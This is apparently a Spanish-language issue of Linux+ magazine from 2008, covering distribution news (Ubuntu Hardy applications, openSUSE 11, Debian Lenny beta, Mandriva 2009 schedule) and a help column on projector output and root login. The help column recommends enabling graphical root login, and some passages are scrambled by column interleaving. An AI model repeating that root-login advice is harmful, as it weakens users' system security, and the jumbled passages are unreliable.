in lugar a dudas algo está cambiando en el mercado de la electrónica de consumo. Parece que el fin del reinado del PC como único artículo capaz de satisfacer las demandas que actualmente piden los usuarios, va a cambiar y que a partir de ahora, además de los equipos de sobremesa y portátiles, aparecerán nuevas categorías. Las PDA han tenido un éxito relativo, ya que a pesar de su gran crecimiento, prácticamente se encuentran todavía relegadas al ámbito profesional y tienen muy poca influencia en la electrónica de consumo mayoritaria. Por el contrario, los nuevos ultraportátiles y portátiles de bajo costo parece que sí son una fórmula comercial para sustituir en muchos casos a los portátiles y equipos de sobremesa tradicionales. La apertura de un nuevo sector en este mundo, abre un nuevo mercado para los sistemas operativos en el que por fortuna, todavía, no existe un monopolio de facto, como ocurre en el mundo de los equipos de sobremesa y portátiles con Microsoft Windows. Este nuevo sector, el de los portátiles de bajo costo, es posiblemente en el que mejor encaje Ubuntu y el resto de distribuciones de GNU/Linux. Con el nombre de ultraportátiles de bajo costo, designamos a una serie de equipos que comparten un bajo precio, un tamaño pequeño, un procesador de bajo costo y normalmente la inclusión de un disco duro de estado sólido, basado en la misma tecnología que las tarjetas que usamos para nuestras cámaras digitales, móviles o usb-pen. Ubuntu y en general todas las distribuciones de GNU/Linux, tienen cierta ventaja sobre otros sistemas en este tipo de equipos por una serie de razones. La primera de ellas es el precio. Cuando un fabricante está buscando minimizar el precio de su equipo al máximo, pagar una licencia aunque sea OEM de un software privado, leáse por ejemplo Microsoft Windows, dicha licencia representa una proporción demasiado alta del precio real. Con GNU/Linux, dicha licencia no cuesta nada, por lo que éste es otro factor donde ahorrar precio. El otro factor está también relacionado con el precio reducido del equipo. Conforme el precio del hardware se reduce, también se reducen las posibilidades del mismo, aunque esta afirmación no es siempre cierta, si que podemos afirmar que las prestaciones de un equipo de bajo coste son mucho menores que las de un portátil o un sobremesa de gama media actual. Por lo tanto, sistemas como Windows Vista,

Linux+ 9/2008

tienen casi imposible ejecutar sobre dicho equipo, debido a sus altos requerimientos. Muchos de vosotros pensaréis que una distribución moderna de GNU/Linux con Gnome o KDE puede llegar a consumir más recursos que un Windows XP. Esta afirmación es cierta, pero también hay que tener en cuenta la flexilibilidad que nos ofrece el software libre. Podemos elegir un ambiente menos recargado de efectos estéticos, sin perder nada de funcionalidad y poder trabajar con pocos recursos. Además, todo este gasto de recursos lleva parejo un gasto de batería. Por lo que si conseguimos reducir al mínimo el consumo de recursos y por lo tanto de energía abaratamos también el coste de la batería y alargamos la duración de ésta, algo de bastante importancia en un equipo ultraportátil. Después de todo esto, pensaréis qué tiene que ver la Ubuntu MID Edition en este tema. Esta edición de Ubuntu es el producto que ha creado Canonical a partir de Ubuntu 8.04 Hardy Heron para este tipo de productos. Totalmente adaptado a las necesidades que ya os he contado, la MID Edition, esta versión de Ubuntu tiene mucho a su favor para convertirse en el líder, dentro de un sector que como os digo, todavía está empezando y en el que la rapidez y el apoyo de las empresas productoras de dichos UMPC, como se les suele llamar a los ultra-portátiles de bajo costo, es vital para conseguir un hueco en el mercado del futuro. El hueco lo tiene ya asegurado por los factores que os he comentado antes, pero aún más si tenemos en cuenta que una edición totalmente orientada a este mercado, puede abrir los ojos a más de un ejecutivo de alguna marca de hardware y puede provocar que el apoyo a Ubuntu en este mercado sea aún mayor. Canonical de hecho ha desarrollado dos distribuciones especiales, una para Samsung y otra para Lenovo. El ambiente de uso y la funcionalidad es básicamente la misma, adaptada a los requisitos de este tipo de aparatos, donde el tamaño es menor y la interfaz tiene que ser lo más cercana posible al usuario. Una muy buena noticia para todos los seguidores de Ubuntu y el software libre en general, que en unos pocos meses, veremos como va evolucionando, aunque hay que recordar que el mercado español suele ser un poco más lento que el del resto de Europa para este tipo de movimientos, aunque os aseguro que antes de lo que pensáis tendréis vosotros o alguna persona cercana un equipo de estas características. (Francisco Javier Carazo Gil).


novedades Ubuntu sección llevada por Francisco Javier Carazo Gil ubuntu@lpmagazine.org

Inkscape 0.46

A pesar de que no venga preinstalado, aunque sí incluido en los repositorios de la distribución y anunciado conjuntamente con el resto de los programas que estamos comentando, Inkscape tiene un sitio propio y más que merecido en esta sección. Pocos programas de software libre han conseguido crecer tan rápido en tan poco tiempo y lo que es más importante, constituirse como una referencia en su respectivo segmento. Para todos aquellos que no conozcáis Inskcape, comentaros que es un programa de dibujo, basado en gráficos vectoriales (concretamente en el estándar de la familia XML dedicado a esta labor, SVG) que destaca por su sencillez de uso, potencia y variedad de posibilidades que ofrece. Basado en una bifurcación del proyecto Sodipodi, Inkscape, es a día de hoy un programa muy utilizado también en sistemas Windows, gracias a sus posibilidades. Muchas de las mejoras ofrecidas en esta versión 0.46 del programa han sido desarrolladas gracias a que es unos de los proyectos que se benefician del Google Summer Of Code. Nokia comenzará a integrar Ubuntu y QT en algunos de sus dispositivos

Hace poco, Nokia ha adquirido a la empresa desarrolladora de QT, la librería gráfica que está detrás de KDE y muchas otras aplicaciones. Tras esta adquisición, el gigante finlandés de la telefonía móvil ha anunciado que se aprovechará de la experiencia y la potencia de QT para incluir aplicaciones desarrolladas con esta librería en sus móviles, además de integrar Ubuntu en sus dispositivos, una decisión que pone contra las cuerdas un poco más al sistema operativo desarrollado por varios gigantes de la telefonía móvil, Symbian OS.

Las aplicaciones de Hardy Heron

E

l mes pasado comentamos las novedades que traía la nueva versión de Ubuntu. Tal como os prometimos, en este número comentaremos las aplicaciones que vienen preinsaladas con la nueva versión de la distribución. Sin lugar a duda, la distribución por sí sóla no es nada si no fuera por todo el software que le acompaña. Todo dicho software, además de ser de código abierto, ha sido elegido por Canonical Ltd. para acompañar a Ubuntu, de manera que todas las funcionalidades básicas que se puedan esperar de un equipo de escritorio se encuentren cubiertas sin tener que instalar ningún software adicional y sin tenernos que molestar lo más mínimo. Este hecho no es único de Ubuntu, como sabréis, y sin lugar a dudas es una de las grandes ventajas de usar distribuciones de GNU/Linux en lugar de otros sistemas de código cerrado. En general, podemos describir a las aplicaciones que trae Ubuntu, como populares, funcionales e innovadoras. La línea sigue siendo la misma que en anteriores entregas y se sigue confiando en los mismos productos, excepto en algún caso que se ha decidido cambiar, para mejorar la satisfacción del usuario. Veamos una a una las aplicaciones que componen este paquete de software predefinido.

esta versión. El hecho de que ésta sea una versión LTS (Long Term Support o de Soporte de Larga Duración), ésto hace que aún sea más particular. La estabilidad de una versión Beta, por muy avanzada que esté como en este caso, supone un riesgo en el uso del navegador para producción, aunque la vocación de sistema opertivo para equipos de escritorio, le quita riesgo a este aspecto. Las razones para la inclusión de Firefox 3 en lugar de una versión estable de Firefox 2 hay que buscarlas en el mejor rendimiento de la nueva versión y en la mejor integración con el escritorio. Los dos fallos más importantes que tenía Firefox en versiones anteriores a la 3 eran justamente ésos. El consumo de memoria, en ocasiones, se disparaba de tal manera que hacía perder velocidad al conjunto del sistema alarmantemente. Además, la integración del navegador en el escritorio, era un tanto deficiente, aunque no tanto como otras aplicaciones. Entre estas aplicaciones que se integran mal (realmente mal) en el escritorio tengo que nombrar a aMSN, que al estar desarrollado con las librerías Tk, tiene una integración pésima con el entorno. Si queréis un buen cliente de mensajería instantánea para Gnome que tenga todas (o al menos casi todas) las funcionalidades del protocolo MSN os recomiendo emesene, programado con Firefox 3 Beta 5 pygtk y que sin lugar a dudas será de vuestro Desde mi humilde punto de vista, creo que la agrado. Si no os importa no poder usar, por inclusión de la Beta 5 de Firefox 3 en Hardy ejemplo, el diálogo apareciendo como No Heron ha sido la apuesta más arriesgada en conectado os recomiendo Pidgin.

Liberado GT Ubuntu GT-02

GT-Ubuntu, una distribución guatemalteca basada en Ubuntu, acaba de lanzar una nueva versión de la misma, concretamente la GT-02, basada en Ubuntu Hardy Heron y con un tema propio llamado Guate. Esta es la segunda versión de esta distribución y es un ejemplo más de la importancia que está adquiriendo el sofware libre en hispanoamérica.

Figura 1. Accesorios

14

Figura 2. Transmission cliente torrent integradado a Gnome

Linux+ 9/2008


novedades sección llevada por Francisco Javier Carazo Gil ubuntu@lpmagazine.org Ubuntu

Bueno, después de este inciso, sigamos hablando de Firefox. Como os decía, además de tener una mejor integración con el entorno de escritorio, Firefox 3, tiene un menor consumo de memoria, por lo que todo el sistema entero ganará. El alarmante consumo de memoria de Firefox le quitaba brillo a un navegador que tanto por funcionamiento como por extensiones, es a día de hoy quizás el mejor navegador de todo el software mundial. En cuanto a la fiabilidad de esta versión Beta, ya que la he probado ampliamente, deciros que aunque he tenido algún problema puntual, la estabilidad es bastante buena y no creo que tengáis quejas cuando lo uséis. Alguna vez es posible que el proceso se cuelgue o se cierre de manera repentina, pero son las menos y además la versión estable está cada día más cerca de llegar. Si queréis disponer de un navegador muy estable, podéis usar Epiphany, que también ha sido renovado y lo podéis instalar fácilmente con Synaptics.

Transmission

Hasta esta versión, el cliente predeterminado para conectarse a Torrent, era Gnome Torrent. En Hardy se ha elegido Transmission, un cliente Torrent que también se integra perfectamente en Gnome, del que existe una versión para Mac OS X y que trae más opciones que el que anteriormente se usaba. Yo personalmente, no uso ni uno ni otro, sino Deluge. Si queréis podéis instalarlo fácilmente con Synaptics y probarlo, quizás os guste más que Transmission y

Gnome-Torrent. Ésta es la riqueza de Ubuntu que hereda del software libre, ya que a un clic de distancia tienes una cantidad inimaginable de software totalmente funcional, legal y de calidad. Aunque, en realidad, posiblemente vuestras necesidades estén cubiertas por todos ellos y elegir entre uno y otro sea una cuestión más bien personal.

Brasero

Creado por Philippe Rouquier y Luis Medinas, a día de hoy quizás sea el quemador de CDs más completo para Gnome y a la vez el más simple y práctico, tal como manda la filosofía de este entorno de escritorio. Luis Medinas también contribuye a otros proyectos, concretamente a Muine y Beagle, ambos escritos en C# usando Mono. Los cambios que observará el usuario respecto al anterior software de grabación que incluía Ubuntu o cualquier otro software de grabación, se basan en la interfaz gráfica y en los demás aspectos relacionados con la interacción con el usuario, ya que todos los procesos de grabación e interfaz con la grabadora de CD/DVD los lleva a cabo las librerías correspondientes, que suelen ser las mismas para todos los front-ends, así es como se le llaman a estos programas que hacen de interfaz gráfica de usuario. Sin lugar a dudas, Brasero es simple y gracias a que está implementado con GTK+ se integra a la perfección con el entorno y es muy veloz. Grabar cualquier tipo de CD/DVD es sólo cuestión de un par de clics.

Uncomplicated Firewall

El cortafuegos que trae incorporado el kernel de GNU/Linux es, sin lugar a dudas, uno de los aspectos que más distinguen a los sistemas operativos libres, por su potencia y flexibilidad. Sin embargo, para un usuario novel o medio, su uso y configuración le puede llegar a resultar realmente complejo. El propósito de este software, Uncomplicated Software o UFW, es hacer más fácil esta tarea. El interfaz no es gráfico, pero aún así con unas cuantas órdenes podemos configurar nuestro cortafuegos. Por ejemplo, algunos comandos que podemos usar son: allow número_de_puerto, delete allow port smtp, delete allow from 192.168.254.254.

Como podéis observar, este método es bastante más simple que manejar las iptables y acerca un poco más el uso del firewall de Linux a los usuarios más noveles. Aún así, es de esperar que en futuras versiones de Ubuntu se desarrolle e incluya un software más gráfico y apropiado incluso para los menos experimentados. Mark Shuttleworth pide unificar fechas de salida

La actual política de las distribuciones de lanzar las nuevas versiones en las fechas que a cada una le venga bien, no le viene bien al usuario, porque las versiones de Gnome/KDE, principales suites ofimáticas libres, compiladores, navegadores, etc. No se ajustan todo lo bien que podrían ajustarse si todas las distribuciones se pusieran de acuerdo en sacar, por lo menos, sus versiones LTS (Long Term Support o de soporte de larga duración) a unas fechas concretas. Por este motivo, Mark Shuttleworth ha pedido al resto de gigantes del mundo GNU/Linux, Novell, Red Hat y Debian, que sincronicen los lanzamientos de sus distribuciones con las LTS de Ubuntu, de manera que todos se beneficien de las nuevas versiones estables del software que incluyen en sus distribuciones y todos los proyectos resposanbles de este software, tengan metas en el tiempo similares, en beneficio de los usuarios.

Figura 4. 4Inkscape 0.46

Figura 3. Brasero un quemador de CD’s para Gnome

www.lpmagazine.org

15


novedades SUSE sección llevada por Milton A. Álvarez linux@lpmagazine.org

Nvidia

Como siempre, han sacado una nueva versión de su driver propietario que soporta más tarjetas y corrige algunos bugs bastante graves de los anteriores. Es altamente recomendable actualizar siempre a la última versión de este driver. Además, ha contestado a la carta de Free Software Foundation donde les pedían que liberaran las especificaciones de su driver para la comunidad, aduciendo entre otras cosas que este driver propietario produce muchos problemas con el kernel. nVIDIA contestó que no haría esto ya que quiere proteger derechos de software y hardware de la misma.

Figura 1. nVIDIA Logo AMD/ATI

Esta versión del software controlador Catalyst introduce soporte UYVY y formato de píxel YUY2. Este soporte proporciona flujo de apoyo intercalados para la reproducción de vídeo en aplicaciones como TVTime y MythTV. Entre otros problemas resuelve diversos problemas con los siguientes programas: Enemy Territory: Quake Wars; Maya 2008; Quake 3 Arena (demo) y Quake3 Wine 1.0

Por fin, después de 15 años de desarrollo, sus encargados han decidido que ya es lo suficientemente estable como para sacar la primer versión oficial. Recuerden que las versiones anteriores a la 1 se consideran versiones beta a nivel de desarrollo, aunque sabemos de buenas fuentes que esto no necesariamente es sinónimo de mala calidad.

Figura 2. Wine 1.0

OpenSuse 11 ha llegado

D

espués de una larga espera, un contador que disminuía lentamente (estaba ansioso), por fin ha llegado OpenSuse 11. Ahora tengo en mis manos el DVD de 64 bits, y me asalta una duda: ¿reinstalo el sistema?, ¿actualizo?, ¿instalación nueva en otro disco por si acaso?... Aunque todos sabemos que la tercera opción es la más segura, no tenía el elemento básico para poder realizarla: el disco duro; así que me quedan dos opciones. He de decir que como muchos, mi incursión en el mundo de los PCs fue de la mano de Microsoft y su triste y celebre sistema operativo, y si algo aprendí con éste, es que actualizar sobre un sistema operativo ya instalado por normal general es un craso error, arrastras con todos los problemas que tenías en la versión anterior y le añades algunos problemas de compatibilidad y errores extraños del tipo no sé que pasa. Así que en definitiva me fui por la instalación limpia. Con mucha expectativa coloqué el DVD en el lector, no sin antes realizar un backup de mi home, reinicié mi equipo y comencemos. Una de las cosas que dicen los del equipo de OpenSuse que trabajaron es en la instalación, que ahora es más sencilla. Pues bueno, realmente para un usuario novato lo es: Siguiente, Siguiente (esto parece Windows). Ahora veamos los cambios, la apariencia cambió mucho, QT4 le brinda un nuevo aire y realmente se ve muy bonito, excelente elección de colores e íconos, modificaron el orden de muchos pasos (cosa que a los que veníamos acostumbrados a Yast es algo frustante al comienzo). Como dije, puede realizarse una instalación con Siguiente, Siguiente, con apenas decidir cuál escritorio queremos, o como siempre personalizar el sistema y la paquetería que se desea. Aparte de ser una instalación casi automática y muy simple, agregaron algo curioso. Resulta que realizaron una mini-imágenes con las configuraciones y paquetes que podría usar

Suse Linux Enterprise Sp2

Novel ha anunciado el service pack 2 para su versión basado en Suse Linux. Corrigen varios fallos e implementan algunas mejoras. Si usas SLED, deberías descargarlo e instalarlo. Para los que no lo sepan, ésta es una versión empaquetada y vendida por Novell con algún otro software propietario diseñado para entornos empresariales y que goza de ser muy querido en las empresas que lo utilizan.

16

Figura 3. OpenSuse 11.0

Linux+ 9/2008

un usuario promedio (es decir, si personalizas todo, no te funcionan) para acelerar la instalación, aunque a mí me presentó un error y no fue posible instalarlo así, no sé si haya sido problema de lector, del DVD o de la miniimagen. Después del problemita decidí volver a comenzar, dejé casi todo por defecto, desactivé las mini-imágenes para que la instalación fuera normal aunque algo más lenta. Algo que llama la atención es que pensaron en que esta versión es instalada en la máquina de un usuario el cual por lo general es el administrador y es peresozo, me explico, uno de los pasos que cambiaron de orden fue la administración de usuarios. Bueno, el asunto es este: al comenzar la instalación pide tus datos para crear tu cuenta de usuario y luego hay una opción que dice: utilizar la misma contraseña para la cuenta de root, por esto digo lo de peresozo, los asistentes son algo confusos al principio, pero bastante útiles. Tardé un rato en comprender el funcionamiento del asistente del particionamiento, pero es bastante lógico, la configuración de la instalación es bastante simple, un poco de lógica es necesaria, eso si. La detección y configuración de dispositivos parece que también ha sufrido algunos cambios menores para bien. Entre las novedades que trae en la parte de los escritorios está la opción de instalar Gnome, KDE 3.5, KDE 4, XFCE, así que decidí darle una oportunidad a KDE 4 y debo decir que me ha sorprendido gratamente. Compiz viene por defecto instalado y es extremadamente fácil activarlo. Algo curioso que leí en la información de instalación es que si se tiene una tarjeta nVIDIA configurada con los drivers propietarios no es necesario utilizar XGL ni su contraparte diseñada por Red Hat. De hecho, yo no activé XGL y funciona muy bien. Sorprende la velocidad de inicio y carga del sistema, la estabilidad que ha alcanzado KDE 4 y los pequeños añadidos que se le han hecho. Algo que me gustó es que el Kmixer logra manejar mi tarjeta de sonido sin problema, ahora no es un applet muerto que no tiene efecto sobre el hardware. En conclusión, aunque sólo lo he probado un corto tiempo, es una experiencia grata por su estabilidad, usabilidad y rapidez. Por el momento estoy muy contento con esta nueva versión del OpenSuse.


novedades sección llevada por Marvin Ortega Chacón debian@lpmagazine.org Debian

Debian Lenny 5.0 Beta 2

U

na grata noticia para quienes somos debianitas fue el lanzamiento oficial de la segunda Beta de la próxima edición 5.0. Sé de antemano que a muchos nos genera gran emoción el saber que a final de año contaremos con muchas actualizaciones y novedades, las cuales posicionarán a Debian como la madre reinante de las distros en Linux. Sin más decir os describo las principales novedades. Lenny vendrá con GNOME 2.22, el instalador gráfico usa e instala el Kernel 2.6.24 y sus imágenes ahora tienen un menú de arranque nuevo, además de soportar completamente particiones encriptadas. Otras novedades incluyen la transición a Perl 5.10 y XULRunner, GCC 4.3 como el compilador por defecto en todas las plataformas y soporte para Python 2.5. Ahora habrá soporte completo para particiones encriptadas, mejor utilización de la memoria, mejoras en el soporte para CD/DVDs, sincronización reloj usando NTP, soporte para volatile, posibilidad de iniciar la instalación desde Windows, añadido soporte experimental para Serial ATA RAID. Modo de rescate ahora soporta particiones cifradas LUKS, limpieza de código y varias reorganizaciones, apoyo a la Armel, imágenes de instalación para amd64 y i386.

Situaciones conocidas en esta beta •

Como resultado del reciente cambio a Perl 5.10, los log de la instalación muestran algunas advertencias de Perl. Como sabemos que no son amenazas reales, recomendamos ignorarlas. Las instalaciones en ruso (y probablemente varios otros lenguajes) suelen fallar y

• •

• •

Actualización del kernel para Debian

dar errores provenientes de aptitude. La mayoría de los lenguajes se han visto afectados. i386: Para esta entrega, la instalación por medio de discos floppy no será soportada. i386/amd64: La instalación del GRUB en volúmenes cpqarray RAID (/dev/ida/ cXdX) suelen fallar. arm: Esta entrega no soportará Sistemas Netwinder. Hay y habrán varios problemas con las sub arquitecturas PowerPC.

Problemas conocidos con el instalador gráfico •

Varios teclados no americanos (US keymaps) no son totalmente soportados. (Las combinaciones típicas y de caracteres no funcionan). Modos para acentuar o agregar caracteres especiales no trabajan correctamente. Esto es una regresión, la cual esperamos solucionar cuanto antes. Los touchpads deben de trabajar, pero su soporte no es el óptimo; si experimentas problemas deberás de usar un ratón externo. Debe de trabajar en la mayoría de los sistemas PowerPC que posean tarjetas gráficas ATI, pero no es agradable trabajar en otros sistemas PowerPC.

Anuncio oficial: • http://www.debian.org/devel/debianinstaller/News/2008/20080609 Referencia: • http://www.fentlinux.com/web/?q=node/ 5757

Ordenador ARM9 arranca Debian en 0.69 segundos

T

echnologic Systems actualizó el firmware de su single-board computer (SBC) para hacer que arranque aún más rápido. Equipada con un CPU Marvell de 500 MHz de arquitectura ARM9, el TS-7800 puede arrancar Debian 3.1 Sarge con su Kernel 2.6.21 en sólo 0.69 segundos desde una memoria flash NAND. Anunciado el pasado noviembre, el Marvell Orion 88F5182 fue reconocido por poder arrancar en 2 segundos. Este SBC incluye tam-

bién 128 Mb de RAM DDR y 512 Mb de flash NAND, expandible mediante tarjetas SD. El sistema Debian puede ser instalado en la flash incorporada o en la tarjeta SD. Servicios de Linux y drivers pueden ser cargados como módulos después del arranque. Fuente: http://www.vivalinux.com.ar/hard/ arm9-debian-en-0.69-segundos.html Más información sobre Debian en 0.69 segundos: http://www.linuxdevices.com/news/ NS4123264934.html

www.lpmagazine.org

Debian ha publicado una actualización del kernel 2.6 de Linux que corrige dos fallos de seguridad que podrían permitir a un atacante remoto ejecutar código arbitrario. Se recomienda actualizar a través de las herramientas automáticas apt-get. Para la distribución etch el problema ha sido solucionado en la versión 2.6.18.dfsg.1-18etch6. Las vulnerabilidades corregidas son: •

Fallo no especificado en el descodificador de ASN.1 usado por los subsistemas SNMP NAT y CIFS, que podría provocar un desbordamiento de la memoria intermedia basada en heap. Fallo de validación en la longitud de datos manejados por el subsistema DCCP que podría ocasionar un desbordamiento de memoria intermedia y permitir la ejecución de código arbitrario.

Un atacante remoto podría aprovechar estos fallos para efectuar un ataque de denegación de servicio y potencialmente ejecutar código arbitrario. Fuente: http://www.fentlinux.com/web/ ?q=node/5767 Más información: http://lists.debian.org/ debian-security-announce/2008/ msg00172.html

Figura 1. Debian Elive 1.7.7 (Unstable)

Se encuentra disponible una nueva versión inestable (en fase de desarrollo y prueba) de Elive. Live-CD basado en Debian vuelve a la rama testing, que permite la instalación en el disco duro y que destaca por apostar por el espectacular entorno gráfico Enlightenment. En la presente versión incorpora las últimas actualizaciones de ambos entornos en la rama estable E16 y en la rama en desarrollo E17. Fuente: http://www.fentlinux.com/web/ ?q=node/5762. Más información: http: //elivecd.org/

Figura 2. Debian Lenny

17


novedades Mandriva sección llevada por Juan Gámez mandriva@lpmagazine.org

Calendario de 2009.0

Ya se han publicado las fechas de salida de las versiones alfa, beta y RC de Mandriva Linux 2009.0, animando a todos a participar en el ciclo de prueba y desarrollo de esta nueva versión de Mandriva. El calendario es el siguiente: • • • • • • • •

Mandriva Linux 2009 Alpha 1 25/06/ 2008 (Interna) Mandriva Linux 2009 Alpha 2 10/07/ 2008 Mandriva Linux 2009 Beta 1 29/07/ 2008 Mandriva Linux 2009 Beta 2 19/08/ 2008 Mandriva Linux 2009 RC 1 03/09/ 2008 Mandriva Linux 2009 RC 2 23/09/ 2008 Mandriva Linux 2009 Official Internal Release 02/10/2008 Mandriva Linux 2009 Official Public Release 09/10/2008

Podéis hacer un seguimiento de esta versión en: http://wiki.mandriva.com/en/2009.0_De velopment Mandriva cumple 10 años

Mandriva ha cumplido 10 años. Nuestra querida distribución nació en 1998 con el nombre de Mandrake, cambiando de nombre en el año 2006 tras la adquisición de Conectiva. Para celebrar este aniversario se celebró una fiesta en la Torre Eiffel. Podéis leer una reseña sobre este acontecimiento ademas de fotos en: http://www.infos-du-net.com/ actualite/13689-10-ans-mandriva.html Mandriva Flash 2008 Spring

Mandriva ha lanzado Mandriva Flash Spring 2008. Dentro de este dispositivo USB se encierra toda la potencia de Mandriva Spring 2008. Sólo es necesario conectarla al ordenador, encenderlo y en unos pocos segundos el sistema operativo Mandriva Spring 2008 estará listo para navegar por Internet, escuchar música o realizar su trabajo de oficina. Mandriva Flash Spring 2008 ofrece 8 GB de espacio que se pueden organizar como desee, bien para el sistema o bien para sus documentos. Esta nueva versión de Mandriva Flash Spring 2008 viene con una herramienta de migración que le permite la importación de la configuración de Windows y de los documentos. E incluso soporta sistemas de ficheros NTFS.

Figura 1. Mandriva 2008

18

KDE4 en Mandriva 2008.1 Spring

T

al y como os contaba en el artículo anterior, el esperado KD4 será el escritorio principal en Mandriva 2009.0. Esta nueva versión de nuestra distribución favorita tiene prevista su salida a finales de este año. Pero no tenemos que esperar tanto tiempo para comenzar a probar y a explorar este nuevo escritorio. Podemos instalarlo sin problemas en nuestra Mandriva 2008.1 sin por ello perder nuestra instalación de KDE3 actual. Para ello Mandriva nos proporciona un metapaquete llamado task-kde4. Llamando a la instalación de este paquete, el sistema instalará y configurará todo lo necesario para tener este escritorio como opción al iniciar una nueva sesión. Instalar task-kde4 supone la descarga e instalación de 235 paquetes en mi caso, dado que no sólo se instalan los paquetes propios de KDE sino también aplicaciones asociadas (Amarok2, Koffice2). Si sólo queremos instalar un KDE 4 básico, Mandriva proporciona el paquete task-kde4-minimal que nos instalará KDE4 con sus dependencias mínimas. Una vez terminada la instalación, tendremos a nuestra disposición KDE4 en su versión 4.0.3; para probar una versión más actual tendríamos que ir a los repositorios contrib/ backport donde encontraríamos la versión 4.04.1 o bien a los repositorios main/ de cooker donde dispondríamos de la versión 4.0.83, última versión estable antes de la versión de KDE4 4.1 disponible a finales de julio y que será, con toda probabilidad, la que acompañe a Mandriva 2009.0. Para arrancar nuestro nuevo escritorio debemos abandonar la sesión actual, teniendo ya disponible en la pantalla de inicio de sesión KDE4 como escritorio. Introducimos nuestro usuario, contraseña, elegimos KDE4 como sesión... y allá vamos. Ante nosotros se nos presenta un escritorio sobrio y elegante y la verdad poco espectacular. No hay ningún icono a la vista y nada hace proveer lo que nos podemos encontrar. Ahora, lo bueno comienza cuando pulsamos el botón azul con la K. Se nos despliega un menú muy fácil de usar, con nuestras aplicaciones divididas en varios apartados y con los menús divididos. Moverse por los menús es fácil y buscar las aplicaciones es francamente sencillo. Había leído mucho sobre Dolphin, el nuevo gestor de archivos de KDE4, lo

Linux+ 9/2008

encuentro, lo arranco y me encuentro con un gestor de archivos rápido y muy fácil de usar. Desde mi punto de vista, más rápido y eficiente que Konqueror y eso que Konqueror me parece maravilloso. Dolphin es muy rápido abriendo carpetas con una gran cantidad de archivos. Animado por lo que estaba descubriendo, arranqué Konqueror y me dispuse a leer mi correo Gmail. Introduje mi usuario y contraseña y gmail me manda un mensaje para activar mis cookies. No importa, pensé, algo lógico, entré en configuración de Konqueror-cookies y me sale un error de que el servicio de cookies no está disponible, me fijo y veo que las cookies están activas. Reinicio Konqueror, entro en Gmail... y el mismo problema. No he conseguido entrar a Gmail con Konqueror. Tampoco conseguir visualizar aplicaciones macromedia y eso que el plugin estaba instalado. Menos mal que estaba instalado Firefox. También probé añadir componentes en el escritorio. No soy muy aficionado a sobrecargar el escritorio, así que probé simplemente el reloj y las notas. La verdad es que el resto tampoco me entusiasmaron. Resumiendo, creo que KDE4 tiene un gran potencial mostrándonos acertadas soluciones, pero que todavía presenta graves fallos, incomprensibles para un escritorio que si bien es cierto que esta versión es totalmente nueva, partía de la experiencia y de un escritorio, el 3.5, magnífico. De todas formas, desde KDE, se nos dice que la versión 4.0 no está pensada para aquel usuario que busca la estabilidad y la fiabilidad de un producto final, para ello debemos esperar a la versión 4.1. Daremos ese boto de confianza, pues la experiencia con el 4.0 ha sido agridulce.

Figura 2. Escritorio de Mandriva


¡socorro! Sección llevada por Alejandro Minero

Sin señal en proyector

I

niciamos esta sección con un problema poco frecuente y por lo mismo la solución no se encuentra en cualquier sitio. Explico el problema: tengo un portátil modelo Acer 5520, le he instalado Mandriva Free 2008.1 Spring. Las características de este portátil las enumero a continuación: Procesador: AMD Turion 64; RAM: 1GB; DD: 100GB; Video: Nvidia 7000M; Red: nVIDIA 10/100 Ethernet; Wireless: Atheros AR5006EG; Display: Widescreen 15.4”; Unidad óptica: DVD RW. Hasta aquí, todo parece ir bien, pero yo trabajo impartiendo clases por lo que en alguna ocasión decidí presentar un vídeo y proyectar dicho vídeo en el aula de clases. ¡Sorpresa! No manda la señal al proyector (o cañón video). Bueno, estuve buscando la respuesta a mi problema en bastantes sitios, sin encontrar algo que realmente me ayudara. Decidí pedir ayuda a las personas que más me han ayudado en mi caminar con Linux, aquellas personas de las que leemos cada mes y que como yo, buscamos que Linux sea accesible para todos: los escritores y betatesters de Linux+. Bueno, me dieron algunos consejos y sugerencias y aunque no me llevaron a la respuesta directa, me dieron ideas a probar y eso sí resolvió el problema.

No hay acceso como root

A

unque sé que es un tema controversial, el acceso como root en modo gráfico simplifica las cosas para muchos usuarios inexpertos y ayuda para comprender y conocer mejor el sistema operativo. La distribución Mandriva 2008.1 no permite el acceso como root en modo gráfico. Esto se hace por razones de seguridad en el sistema. Sin embargo, como ya se explicó en la solución del problema anterior, es recomendable iniciar sesión como root en modo gráfico.

Solución

La solución consiste en editar el archivo que se llama kdmrc. Este archivo contiene la configuración del gestor de entrada (o logueo) a nuestro sistema. Para editar dicho archivo realizamos lo siguiente: • • • •

Abrimos una terminal (por ejemplo konsole) Escribimos el comando su Ahora la contraseña de root Nos cambiamos al directorio /etc/kde/kdm con el comando: cd /etc/kde/kdm

Abrimos el archivo kdmrc con cualquiera de los siguientes comandos: • vi kdmrc • kwrite kdmre Debo decir que para los usuarios nóveles, resultará más cómodo el segundo, ya que abre el editor kwrite, dicho editor funciona en modo gráfico. El vi funciona en modo terminal. Buscamos la entrada AllowRootLogin Cambiamos el valor false por true (Observa la Figura 1) Guardamos el archivo Cerramos el kwrite Terminamos sesión Y en la ventana de inicio de sesión escribimos root Y la contraseña.

Solución

Muchos de nosotros utilizamos tarjetas de gráficos con drivers libres, sin embargo, nVIDIA utiliza un driver propietario y dicho driver no está incluido en el software del DVD de Mandriva 2008.1. Una vez instalado Mandriva, nos percatamos de que se ha instalado y configurado correctamente la tarjeta de Red Ethernet, permitiendo así al acceso a los repositorios de Internet. Abrimos el Centro de Control Mandriva y damos clic en la sección Hardware. Ahí damos clic en Configurar el Servidor Gráfico. A continuación nos dice que existe un driver propietario que podría mejorar el desempeño de la tarjeta gráfica. Nos preguntará si deseamos instalarlo. La respuesta debe ser: Sí. Una vez instalado el driver de la tarjeta, nos pedirá que reiniciemos sesión gráfica. Si aún no se ha conectado el Proyector se debe conectar y reiniciar el sistema (yo lo probé sin reiniciar y no detectó el proyector, por esa razón recomiendo reiniciar). Iniciamos sesión como root (si no sabes como iniciar como root, revisa el siguiente problema). Al instalar el driver de nVIDIA también se instala en Panel de control nVIDIA. Abrimos esta aplicación y damos clic en la sección X Server Display Configuration. Damos clic en el botón Detect Displays y podremos observar dos imágenes de pantallas en la vista preliminar. Ahora debemos reconocer las dos pantallas. Damos clic en la pantalla del proyector (o monitor externo) y la ubicamos justo en el mismo lugar que la pantalla de nuestro portátil. Desplegamos la lista de Resolution y damos clic en la resolución que sea la misma que tenemos configurada en la pantalla del portátil. Para nuestro ejemplo 1280x800. Damos clic en Aplicar (Apply). Y luego en Aceptar. La señal ya se manda al proyector. Si queremos, podemos guardar los cambios en el archivo xorg.conf. Para ello damos clic en Guardar los cambios (Save to X configuration File). Si no guardas los cambios, tendrás 